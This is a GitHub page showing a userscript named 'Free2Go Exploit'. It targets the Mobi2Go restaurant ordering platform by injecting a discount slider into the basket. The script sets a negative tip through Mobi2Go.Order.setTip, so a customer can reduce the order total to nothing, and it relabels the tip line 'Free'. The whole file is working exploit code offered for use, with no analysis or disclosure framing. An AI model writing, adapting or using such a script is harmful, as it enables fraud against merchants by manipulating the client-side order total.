-
Notifications
You must be signed in to change notification settings - Fork 0
/
free2go.user.js
76 lines (64 loc) · 3.08 KB
/
free2go.user.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// ==UserScript==
// @name Free2Go Exploit
// @namespace nz.co.makereti.free2goexploit
// @description Give yourself discounts on any Mobi2Go orders
// @include *
// @version 2.3
// @grant none
// @run-at document-end
// @icon https://github.com/mrkno/Free2Go/raw/master/logo.png
// @downloadURL https://github.com/mrkno/Free2Go/raw/master/free2go.user.js
// @updateURL https://github.com/mrkno/Free2Go/raw/master/free2go.user.js
// ==/UserScript==
window.addEventListener('load', () => {
if (!window.hasOwnProperty("Mobi2Go")) {
return;
}
console.log('Mobi2Go Detected');
let injection = '<div data-free-discount="" class="m2g-order-basket-section m2g-order-section m2g-order-section--complete"><div class="m2g-order-section-header"><span class="m2g-order-section-title">Discount</span><span class="m2g-order-section-status"></span></div><div class="" data-basket=""><style>.dcenter{text-align:center;}.dmaxWidthT{width:100%;margin:0;padding:0;}.dmaxWidthD{width:100%;text-align:center;}</style><div class="discountContainer"><table><tr><td class="dmaxWidthD"><input type="range" name="discountSlider" id="discountSlider" min="0.00" value="0.00" step="0.01" class="dmaxWidthT"></td><td class="dcenter"><span id="discountPercentage">100</span>%</td></tr></table><table><tr><td><label for="discountAmount">$</label></td><td class="dmaxWidthD"><input id="discountAmount" name="discountAmount" type="number" min="0.00" step="0.01" value="0.00" placeholder="0.00" class="dmaxWidthT"></td></tr></table></div></div></div>';
$(injection).insertBefore('*[data-order-section="basket"]');
let padLeft = (nr, n, str) => {
return Array(n-String(nr).length+1).join(str||'0')+nr;
};
let amount = $('#discountAmount'),
slider = $('#discountSlider'),
percen = $('#discountPercentage');
let updateDiscount = (event) => {
let total = Mobi2Go.Order.getProductsTotal()[0],
value = parseFloat(event.target.value);
if ((!value && value !== 0) || value < event.target.min || value > total) {
event.target.css('border','solid 1px #FF0000');
return;
}
Mobi2Go.Order.setTip(-value);
amount.css('border', '');
slider.css('border', '');
if ($(event.target) != amount) amount.val(value);
if ($(event.target) != slider) slider.val(value);
percen.text(padLeft((100.0 * (value / total)).toFixed(0),3,' '));
};
amount.on('input', updateDiscount);
slider.on('input', updateDiscount);
let updateMax = () => {
let total = Mobi2Go.Order.getProductsTotal()[0],
discount = -Mobi2Go.Order.getTip()[0];
discount = discount > total ? total : discount;
amount.attr('max',total.toString());
slider.attr('max',total.toString());
amount.val(discount);
slider.val(discount);
percen.text(padLeft((100.0 * (discount / total)).toFixed(0),3,' '));
if (total <= 0) {
$('*[data-free-discount]').hide();
}
else {
$('*[data-free-discount]').show();
}
};
updateMax();
Mobi2Go.Order.bind('updateTotal', updateMax);
let tipTotal = $('*[data-view="order-tip"]'),
inner = tipTotal.find('span');
tipTotal.text('Free');
tipTotal.append(inner);
}, false);